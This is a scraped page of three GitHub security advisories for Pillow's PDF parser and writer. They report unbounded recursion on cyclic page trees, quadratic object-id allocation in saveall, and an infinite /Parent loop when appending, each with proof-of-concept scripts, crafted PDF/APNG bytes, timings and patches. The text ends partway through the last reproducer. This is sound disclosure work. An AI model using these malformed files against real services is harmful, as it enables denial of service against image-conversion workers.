Where
AND
-Infinity
0
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearizepagetree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. readprevtrailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details linearizepagetree recurses on /Kids with no cycle or depth check:

- src/PIL/PdfParser.py:1078-1092

readprevtrailer catches only a repeated offset:

- src/PIL/PdfParser.py:697-720 (the processedoffsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)

PoC python from PIL import PdfParser

A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way

Run it: $ python 11poc.py RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ Quadratic-time DoS in PDF saveall (PdfParser.nextobjectid) Location: src/PIL/PdfParser.py:629 in nextobjectid() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely declares a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.

The cause is PdfParser.nextobjectid() in src/PIL/PdfParser.py, which finds the next free id by computing max(self.xreftable.keys()). XrefTable.keys() rebuilds three sets over every id reserved so far on each call. PdfImagePlugin.save() calls it three times (four for palette images with transparency) per frame, for nframes frames, before any page is written. That makes the id-reservation loop alone O(N²). Because nframes is taken from the file before any frame is seeked, APNG's acTL count drives the loop even when the frames don't exist. In that case the save raises OSError only after the full delay.

The precondition is that the application calls im.save(..., "PDF", saveall=True) on the attacker's file; Image.open() and load() alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in 6207b44ab1ff (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in XrefTable makes the save linear.

Details

Saving a multi-frame image as a multi-page PDF (im.save(fp, "PDF", saveall=True)) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.

A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):

| frames | GIF size | im.save(BytesIO(), "PDF", saveall=True) | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |

Each doubling of the input roughly quadruples the time. cProfile of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of PdfParser.nextobjectid (8.9 s inside XrefTable.keys, 3.9 s inside max); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.

The per-page id reservation loop runs before any page is written:

python src/PIL/PdfImagePlugin.py:247-259 (save) for im in ims: imnumberofpages = 1 if saveall: imnumberofpages = getattr(im, "nframes", 1) … for i in range(imnumberofpages): imagerefs.append(existingpdf.nextobjectid(0)) if im.mode == "P" and "transparency" in im.info: imagerefs.append(existingpdf.nextobjectid(0))

pagerefs.append(existingpdf.nextobjectid(0)) contentsrefs.append(existingpdf.nextobjectid(0))

nframes comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on nframes before any frame is seeked, and for APNG nframes is the numframes value declared in the acTL chunk, rejected only if it is 0 or above 0x80000000 (src/PIL/PngImagePlugin.py:716-720). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for P images with transparency) calls per frame lands here:

python src/PIL/PdfParser.py:626-634 def nextobjectid(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference

src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existingentries.keys()) - set(self.deletedentries.keys()) ) | set(self.newentries.keys())

save passes offset=0, so every reserved id is inserted into xreftable.newentries. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then max() scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before writeimage is reached for the first frame. Nothing on this path consults MAXIMAGEPIXELS (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises OSError only once the id loop has finished and the first missing frame is seeked.

This reservation scheme was introduced in 6207b44ab1ff ("issue #2959: support appending to existing PDFs", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.

For contrast, writeobj(ref, …) with an already-reserved ref (src/PIL/PdfParser.py:548-555) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed.

Impact

The precondition is that the application saves the attacker's image as PDF with saveall=True; Image.open() and load() alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in acTL drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and saveall saves of images with tens or hundreds of frames, are unaffected in practice.

This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS readline), but on the PDF writer side, reached only through a save rather than on open, and driven by frame count rather than by line structure.

Reproducing

repro is a single Python script. Run it with the Python that has Pillow installed (./repro). It uses under 100 MB of RAM and writes no files.

Input. Two kinds of file are built in memory, each with 2 000 and 8 000 frames:

- gif(n): a valid animated GIF — a GIF89a header with a 1×1 logical screen and a 2-colour global palette, then n copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - apng(n): a 125-byte APNG — a 1×1 greyscale IHDR, an acTL chunk declaring n frames, one fcTL, one IDAT and IEND. Only the first frame exists; the other n − 1 are merely declared.

Action. Each file goes through what an upload-to-PDF converter would do: Image.open(BytesIO(data)), then im.save(BytesIO(), "PDF", saveall=True), timed with time.processtime(). For the APNG the save raises OSError once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all n declared frames, so the exception is caught and the CPU time up to it is recorded.

Expected output (stock build at this commit):

GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG

A linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints BUG when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise OK. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file.

With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints OK.

Suggested fix

Make nextobjectid() O(1) by tracking the highest object id ever stored in XrefTable instead of rebuilding the key set on every call. The attached patch does this in src/PIL/PdfParser.py:

diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deletedentries = {0: 65536} # object ID => generation self.readingfinished = False + self.maxobjectid = 0 # highest object ID ever stored, deleted or not

def setitem(self, key: int, value: tuple[int, int]) -> None: if self.readingfinished: self.newentries[key] = value else: self.existingentries[key] = value + if key > self.maxobjectid: + self.maxobjectid = key if key in self.deletedentries: del self.deletedentries[key] @@ class PdfParser: def nextobjectid(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xreftable.maxobjectid + 1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference

existingentries is only ever populated through setitem (from readxreftable / readprevtrailer), so the counter also covers ids read from an existing file in append=True mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (delroot() / rewritepages() in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing TODO: support reuse of deleted objects comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, Tests/testfilepdf.py and Tests/testpdfparser.py pass, and the reproducer prints OK.

An alternative limited to the writer would be to reserve the 3 × numberofpages ids in PdfImagePlugin.save() arithmetically from a single nextobjectid() call, but fixing the allocator also covers writeobj(None, …) callers.

The patch does not address a separate, linear issue: PdfImagePlugin.save() still trusts nframes before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG acTL up to 2³¹) still makes it loop 3 × nframes times before the first failing seek. Reserving ids per successfully seeked frame, or validating nframes in such plugins, would close that.

The patch

Track the highest object ID in XrefTable so PdfParser.nextobjectid() is O(1) instead of rebuilding and scanning the key set

Applies to src/PIL/PdfParser.py at the commit above.

diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deletedentries = {0: 65536} # object ID => generation self.readingfinished = False + self.maxobjectid = 0 # highest object ID ever stored, deleted or not def setitem(self, key: int, value: tuple[int, int]) -> None: if self.readingfinished: self.newentries[key] = value else: self.existingentries[key] = value + if key > self.maxobjectid: + self.maxobjectid = key if key in self.deletedentries: del self.deletedentries[key] @@ -624,11 +627,8 @@ class PdfParser: self.origpages = self.pages[:] def nextobjectid(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xreftable.maxobjectid + 1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 1,791 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 PDF saveall is O(frames^2): PdfParser.nextobjectid() does max(XrefTable.keys()), and keys() rebuilds sets of every id reserved so far, 3 calls per frame. (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely declares N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image

def gif(n): return (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff" + b"\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00" n + b"\x3b")

def apng(n): def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d)) return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 0, 0, 0, 0)) + chunk(b"acTL", struct.pack(">II", n, 0)) + chunk(b"fcTL", struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b"IDAT", zlib.compress(b"\x00\x00")) + chunk(b"IEND", b""))

def savepdf(data): im = Image.open(io.BytesIO(data)) t = time.processtime() try: im.save(io.BytesIO(), "PDF", saveall=True) res = "ok" except OSError as e: # APNG: frames don't exist, fails after the id loop res = f"OSError({e})" return time.processtime() - t, res

bug = False for name, make in (("GIF", gif), ("APNG", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = savepdf(data) print(f"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}") growth = t[8000] / t[2000] print(f"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)") if growth >= 8: bug = True print("BUG" if bug else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ Infinite loop in PdfParser.rewritepages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewritepages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or saveall=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.

The bug is in PdfParser.rewritepages() in src/PIL/PdfParser.py (the while pagestreenoderef: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin.save() → writecatalog() → rewritepages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.

This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processedoffsets guard added to readprevtrailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.

The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewritepages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.

Details

PdfParser.rewritepages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.

The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:

%PDF-1.4 1 0 obj <</Type /Catalog /Pages 2 0 R>> endobj 2 0 obj <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>> endobj 3 0 obj <</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <</Size 4 /Root 1 0 R>> startxref 192 %%EOF

Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:

File "src/PIL/PdfImagePlugin.py", line 263, in save existingpdf.writecatalog() File "src/PIL/PdfParser.py", line 473, in writecatalog self.rewritepages() File "src/PIL/PdfParser.py", line 505, in rewritepages while pagestreenoderef:

The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.

The loop:

python src/PIL/PdfParser.py:483-510 def rewritepages(self) -> None: pagestreenodestodelete = [] for i, pageref in enumerate(self.origpages): pageinfo = self.cachedobjects[pageref] del self.xreftable[pageref.objectid] pagestreenodestodelete.append(pageinfo[PdfName(b"Parent")]) … # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid] pagestreenoderef = pagestreenode.get(b"Parent", None) self.origpages = []

How the input gets there: with append=True, PdfImagePlugin.save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls readpdfinfo(). That reads the catalog, reads the page-tree root through readindirect() — which stores every object it reads in self.cachedobjects (src/PIL/PdfParser.py:1077) — and flattens the tree with linearizepagetree(), which readindirect()s every /Kids entry. So after parsing, origpages == [3 0 R] and objects 2 and 3 are both in cachedobjects. save() then calls existingpdf.writecatalog() → rewritepages().

For the file above, the first loop puts page 3's /Parent, 2 0 R, into pagestreenodestodelete. The inner while looks object 2 up in cachedobjects, removes it from the xref table on the first pass, and sets pagestreenoderef to object 2's /Parent — which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cachedobjects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent — delitem only records the id in deletedentries, while contains keeps answering from existingentries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearizepagetree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.

The parser already defends against exactly this shape of problem one level up: readprevtrailer() (src/PIL/PdfParser.py:699-722) carries a processedoffsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats — the fix for CVE-2026-42310. The /Parent walk in rewritepages() has no equivalent guard.

The unguarded walk was introduced in 24ecfe315ab5 ("issue #2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.

Impact

Any application that appends pages to a PDF it did not produce — im.save(fp, "PDF", append=True) or saveall=True, append=True on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.

This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.

Reproducing

repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.

The script builds two one-page PDFs in memory with makepdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:

- control has <</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file. - cyclic has <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own /Parent. This is the 333-byte file shown above.

For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.

Expected output on this commit (PDF dumps omitted):

[control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 savehandler(self, fp, filename) save() /src/src/PIL/PdfImagePlugin.py:263 existingpdf.writecatalog() writecatalog() /src/src/PIL/PdfParser.py:473 self.rewritepages() rewritepages() /src/src/PIL/PdfParser.py:506 pagestreenode = self.cachedobjects[pagestreenoderef] ... BUG

The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewritepages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.

Suggested fix

Both attached patches fix the root cause, which is that the /Parent walk in rewritepages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.

Attached patch 1 (tolerant; our preference) adds one processedpagestreenodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:

python src/PIL/PdfParser.py, rewritepages() processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: if pagestreenoderef in processedpagestreenodes: break processedpagestreenodes.add(pagestreenoderef) …

Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.

Attached patch 2 (strict) follows the readprevtrailer() guard from the CVE-2026-42310 fix. It keeps a processedpagestreenodes list for each page and calls checkformatcondition(pagestreenoderef not in processedpagestreenodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from writecatalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.

Each patch also adds a testpagetreeparentloop regression test to Tests/testpdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearizepagetree() does not follow /Parent.

Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearizepagetree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.

Related findings

- Exponential page tree expansion in PdfParser.linearizepagetree() (repeated /Kids references) hangs PDF append — the downward counterpart of this bug in the same parser and on the same Image.save(..., "PDF", append=True) entry point: linearizepagetree() (src/PIL/PdfParser.py:1080-1094) recurses into every /Kids entry and re-parses it via readindirect() with no visited set, so a /Pages chain whose nodes list the same child N times over D levels costs N<sup>D</sup> object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct /Kids cycle ends in RecursionError). It differs from this report in the link followed (/Kids down vs /Parent up), the function and phase (linearizepagetree() during readpdfinfo() in the PdfParser constructor vs rewritepages() during writecatalog()), the introducing commit (6207b44ab1ff vs 24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the /Parent walk and leave the /Kids reproducer hanging in linearizepagetree(), and the /Kids guard conversely leaves this reproducer spinning in rewritepages() — verified by cross-applying each patch. Applied together (the /Kids guard plus attached patch 2), both reproducers are rejected with PdfFormatError: page tree loop found and Tests/testpdfparser.py + Tests/testfilepdf.py pass (30 tests).

The patch (1 of 2)

Track visited page-tree nodes in PdfParser.rewritepages() so a cyclic /Parent chain cannot loop forever when appending to a PDF

Applies to src/PIL/PdfParser.py at the commit above.

diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,28 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + pdf.writecatalog() + pdf.writexrefandtrailer() + assert 2 in pdf.xreftable.deletedentries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table + processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: + if pagestreenoderef in processedpagestreenodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processedpagestreenodes.add(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]

The patch (2 of 2)

Raise PdfFormatError("page tree loop found") in PdfParser.rewritepages() when a page's /Parent chain loops back on itself

Applies to src/PIL/PdfParser.py at the commit above.

diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,27 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + with pytest.raises(PdfFormatError, match="page tree loop found"): + pdf.writecatalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: + processedpagestreenodes = [] while pagestreenoderef: + checkformatcondition( + pagestreenoderef not in processedpagestreenodes, + "page tree loop found", + ) + processedpagestreenodes.append(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 3,152 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 """Infinite loop in PdfParser.rewritepages() on a cyclic /Parent chain.

Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes rewritepages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever.

